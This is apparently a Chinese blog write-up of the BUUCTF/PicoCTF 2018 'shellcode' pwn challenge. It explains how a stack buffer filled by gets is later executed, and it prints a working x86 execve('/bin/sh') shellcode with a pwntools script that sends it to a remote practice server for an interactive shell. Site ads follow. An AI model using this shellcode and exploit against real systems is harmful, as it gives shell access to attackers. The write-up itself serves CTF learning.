BUU pwn PicoCTF_2018_shellcode
这道题需要我们了解x86汇编的lea指令。lea dst, src
指的是dst=&src
file可知32bit ELF
IDA F5发现反编译失败,查看main函数的汇编,发现会调用vuln函数。其中lea eax, [ebp+var_A0]
指的是把[ebp+var_A0]的地址(也就是ebp+var_A0的值)赋给eax,作为vuln的参数。后面又出现了lea eax, [ebp+var_A0]
,并通过call eax
来执行ebp+var_A0地址处的函数。
查看vuln函数,里面将[ebp+8]传参给gets,这表示可以从标准输入中读取shellcode并写入到ebp+8处。反编译可知,ebp+8正是vuln的参数ebp+var_A0。所以最终main的call eax
会调用ebp+var_A0处我们所写的shellcode。
栈结构如图所示(上面为高地址)
而shellcode往往是一个系统调用execv('/bin/sh'),其汇编为
xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xB int 0x80
其中al是eax的低8位
最后构造payload
from pwn import * r = remote("node4.buuoj.cn", 25862) shellcode=''' xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xB int 0x80 ''' payload = asm(shellcode) r.sendline(payload) r.interactive()
注意这个payload我在Linux可以执行,Windows下会报错pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little', log_level = 10, os = 'linux')
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!